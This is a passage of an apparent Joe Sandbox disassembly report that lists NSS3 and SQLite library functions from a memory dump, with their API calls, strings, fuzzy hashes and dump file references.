Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: f93e92b1887a5eb0284e940d2d6eb41261828cd3b7745c92c224f58fc5cb5ea4
Instruction ID: e89671b660a3a4c2311d220f55d150f329a099b658b53915ac62fe881df3ee8d
Opcode Fuzzy Hash: f93e92b1887a5eb0284e940d2d6eb41261828cd3b7745c92c224f58fc5cb5ea4
Instruction Fuzzy Hash: 9D1106B5B013019FEF11DF29E84AB023BBDBB6A258B08416DE50A97710F735A45DCB92

Function 6CA449C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CA35F34,00000A20), ref: 6CA449EC

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CA35F34,00000A20,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA449F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CA35F34,00000A20,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA44A06
free.MOZGLUE(?,?,?,?,?,6CA35F34,00000A20), ref: 6CA44A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CA35F34,00000A20), ref: 6CA44A1C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: b6ff772d92881e124d186b50c15f5da414aec918cc94d45ada18f30459d48039
Instruction ID: be163061df7e3f1aeb4644072e336a1d39dbf54af5bf00ff499c782df4b75ee3
Opcode Fuzzy Hash: b6ff772d92881e124d186b50c15f5da414aec918cc94d45ada18f30459d48039
Instruction Fuzzy Hash: 2D014CB69001049BCB00DF69DC84C967BBCAF992483088065E909CB702F731E959CBA1

Function 6CAB7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CAB7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7C83
malloc.MOZGLUE(00000001), ref: 6CAB7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAB7C9F
PR_GetCurrentThread.NSS3 ref: 6CAB7CAD

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a65ce58e50d78e7ab111abc1b6916cc5ccf3a299c966f436af8109d073fc8180
Instruction ID: 1b14c3b464a11d8e7429ba2d6e91a5fcadf6f74f400e328c74820a6b5333026e
Opcode Fuzzy Hash: a65ce58e50d78e7ab111abc1b6916cc5ccf3a299c966f436af8109d073fc8180
Instruction Fuzzy Hash: CCF0C2B19102066BEB009F3A9D099577B5CEF02265B018439E809D3B00E734F158CAE5

Function 6CABADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CABA6D8), ref: 6CABAE0D
free.MOZGLUE(?), ref: 6CABAE14
DeleteCriticalSection.KERNEL32(6CABA6D8), ref: 6CABAE36
free.MOZGLUE(?), ref: 6CABAE3D
free.MOZGLUE(00000000,00000000,?,?,6CABA6D8), ref: 6CABAE47

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: d19d953a6ab01b98fe3550d26d266303b3ea445e745a33769eadecf143f7d30d
Instruction ID: b5493bfc466406619d4aba549c3cb037ca0b9e03da56512a005c2e4f528df6a3
Opcode Fuzzy Hash: d19d953a6ab01b98fe3550d26d266303b3ea445e745a33769eadecf143f7d30d
Instruction Fuzzy Hash: E0F0F675201B06ABCA24AF69E808917777DBF867787144328F13A83980D735F527C7D1

Function 6CA35990 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA3599D

Part of subcall function 6C9B2D70: PK11_DestroyObject.NSS3(28438DC7,FF0477FF,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9B2D98
Part of subcall function 6C9B2D70: PORT_FreeArena_Util.NSS3(28438DC7,00000000,00000000,?,6C9CAE6C,00000000,?,00000000,?,6C9A99FF,?), ref: 6C9B2DBB

SECKEY_DestroyPrivateKey.NSS3 ref: 6CA359AB

Part of subcall function 6C9B2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C9B2D3C
Part of subcall function 6C9B2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B2D5F

PR_DestroyRWLock.NSS3 ref: 6CA359B9
PK11_FreeSymKey.NSS3(?), ref: 6CA359DC
PK11_FreeSymKey.NSS3 ref: 6CA359EA

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Destroy$FreeK11_$Arena_ObjectUtil$LockPrivatePublic
String ID:
API String ID: 33988338-0
Opcode ID: ac19d6ac6cd065865d74239dc877084fe90708224d3ee020260d29f3eb10846c
Instruction ID: 3e36e2851a9fb595660cac16ab3832490b767b5ee1eab689b5702bfde0a57653
Opcode Fuzzy Hash: ac19d6ac6cd065865d74239dc877084fe90708224d3ee020260d29f3eb10846c
Instruction Fuzzy Hash: 76F062A1F26B8557FE019B65DD09F56337CBBB620CB045329A80863621FB75E1E88141

Function 6C947C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C947D35

Strings

database corruption, xrefs: 6C947D29
%s at line %d of [%.10s], xrefs: 6C947D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C947D13, 6C947D1F, 6C947D47, 6C947D53, 6C947D5F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d8653614f81e61f5ea5e912772bd23ae4f1b2451031dc191235769059e926eb0
Instruction ID: d021028b2db2e3500deab1607cdad1d55054625f035e10c7dda46e4bac9d7fa2
Opcode Fuzzy Hash: d8653614f81e61f5ea5e912772bd23ae4f1b2451031dc191235769059e926eb0
Instruction Fuzzy Hash: 63310771E042299BC710CF9DC8809BEB7F5FF48309B598196E448B7B86E271D851C7B0

Function 6C936C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C936D36

Strings

database corruption, xrefs: 6C936D2A
%s at line %d of [%.10s], xrefs: 6C936D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C936D20

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3a94c65fe2d571113a61d9ac4d54a36633ddc3dd0ce2552c562480050c74fd6d
Instruction ID: 1aeeea0b231aea10394156e75d42ab44b77514e2f3780cffffd5e41355aad730
Opcode Fuzzy Hash: 3a94c65fe2d571113a61d9ac4d54a36633ddc3dd0ce2552c562480050c74fd6d
Instruction Fuzzy Hash: CF2100316003159BC311CE1AD841B5AB7F6BF94308F14862CD86D9BF51E770F988C7A2

Function 6CA6CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA6CC7B), ref: 6CA6CD7A
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CD8E
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CDA5
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CA6CCB5
memcpy.VCRUNTIME140(6CB014F4,6CB002AC,00000090), ref: 6CA6CCD3
memcpy.VCRUNTIME140(6CB01588,6CB002AC,00000090), ref: 6CA6CD2B

Part of subcall function 6C989AC0: socket.WSOCK32(?,00000017,6C9899BE), ref: 6C989AE6
Part of subcall function 6C989AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C9899BE), ref: 6C989AFC

Part of subcall function 6C990590: closesocket.WSOCK32(6C989A8F,?,?,6C989A8F,00000000), ref: 6C990597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CA6CCB0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 63d9409a1ffd31080c059aed614ba072f9051e9ebd94a1a73c6b9bbea5257e79
Instruction ID: 17f5b4f128d8dd0db06b89f5ea78e155d0d3738834f0ce2a9b19b697bc9f45c8
Opcode Fuzzy Hash: 63d9409a1ffd31080c059aed614ba072f9051e9ebd94a1a73c6b9bbea5257e79
Instruction Fuzzy Hash: E81154B1B012405FDB089F5E98467463ABCD76671CF1C152EE506AFB41EB71D8844BD1

Function 6C92A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA7C3A2,?,?,00000000,00000000), ref: 6CA5A528
Part of subcall function 6CA5A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA5A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92A94F

Strings

database corruption, xrefs: 6C92A943
%s at line %d of [%.10s], xrefs: 6C92A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92A939

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: fb658ded962533f23b45b273b1d09a5a60a823c69ad9276ee85a2151ea2590ee
Instruction ID: a8299df0f4bb59e60ee1bb8a64f5b96395b08136eddfe6912ba53a6ad9d25b4b
Opcode Fuzzy Hash: fb658ded962533f23b45b273b1d09a5a60a823c69ad9276ee85a2151ea2590ee
Instruction Fuzzy Hash: A7014E31F002045FD710C666EC11B5BB7F5AB44308F46453DE99957A40DB35EC0997A1

Function 6C9B8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C9C0715), ref: 6C9B8859
PR_NewLock.NSS3 ref: 6C9B8874

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C9B888D

Strings

NSS, xrefs: 6C9B8887

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 6880577403d971c22dd1646ac80980ea0309966b7172c6a08cf2fbef1f7c0c7a
Instruction ID: 8bafc4538f6b751916da8ae35bb652dd127768fa702f66372c82be83566bae31
Opcode Fuzzy Hash: 6880577403d971c22dd1646ac80980ea0309966b7172c6a08cf2fbef1f7c0c7a
Instruction Fuzzy Hash: DDF0F662E4122133F31022696C0AB87349C9F7A75EF040031E91CB3F82EA62D50C82F7

Function 6CA6B860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6CA5A4E2), ref: 6CA6B8C6

Strings

database corruption, xrefs: 6CA6B8BA
%s at line %d of [%.10s], xrefs: 6CA6B8BF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA6B8B0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 76939fc2a7f5ae071c6f1e71bc5792425fd2d404de0c6ce094dcdfeb158da061
Instruction ID: 1611730ce7b0624fe03b4c38fc5dd3803e88cac499402c03ae21e68ae25b87a9
Opcode Fuzzy Hash: 76939fc2a7f5ae071c6f1e71bc5792425fd2d404de0c6ce094dcdfeb158da061
Instruction Fuzzy Hash: E50126229482606DD3108B6A6D84DA37BB8EF45215B4B02C9FA449B7B3E212D841C3A1

Function 6C937F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9381DF
LeaveCriticalSection.KERNEL32(?), ref: 6C938239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C938255
sqlite3_free.NSS3(00000000), ref: 6C938260

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 56c0238f470bc355ef7b642cd3ccc945bbcd188225cacef993ea9dd4e7f8fea8
Instruction ID: 52467427c17808587fb3185b2168422ed2ff673d3eae6c0434faa0da5e2e1fb0
Opcode Fuzzy Hash: 56c0238f470bc355ef7b642cd3ccc945bbcd188225cacef993ea9dd4e7f8fea8
Instruction Fuzzy Hash: 9A91AB71B41228CBEB0CCFE0E8587ADB7B9BB16308F14502ED41AABA44D739D945CB85

Function 6CA11D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA11D8F

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA11DA6

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA11E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA11ED0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 0cc51ce9b9c69ca06d387ec017254d671d755159bbc1368541e4d03594272725
Instruction ID: fc54327ba10a65086e4aad11b62e498f4732c602ccaca8c2da576cca17587035
Opcode Fuzzy Hash: 0cc51ce9b9c69ca06d387ec017254d671d755159bbc1368541e4d03594272725
Instruction Fuzzy Hash: A1516A75A04209CFDB00CF94D884BBEB7B6BF55348F144129E9199BB90D731E989CB90

Function 6C99C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C99CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99CB4B
sqlite3_free.NSS3 ref: 6C99CB70
sqlite3_result_error_nomem.NSS3 ref: 6C99CB99

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: de39e7214bd116b12983af8f80893090e3af9ad7f9c951a0e5f06b6062aa1019
Instruction ID: b0dfcc98af2b028f4c4c0292703b1faabf97cb983bc45c937bb34a13ccb050f5
Opcode Fuzzy Hash: de39e7214bd116b12983af8f80893090e3af9ad7f9c951a0e5f06b6062aa1019
Instruction Fuzzy Hash: 0951F236609B458AD701EF35C84012BF7F8BF8A7D8F198A0DE8D56B550EB31C489C782

Function 6CA64FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C9485D2,00000000,?,?), ref: 6CA64FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA650C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA650D6

Memory Dump Source

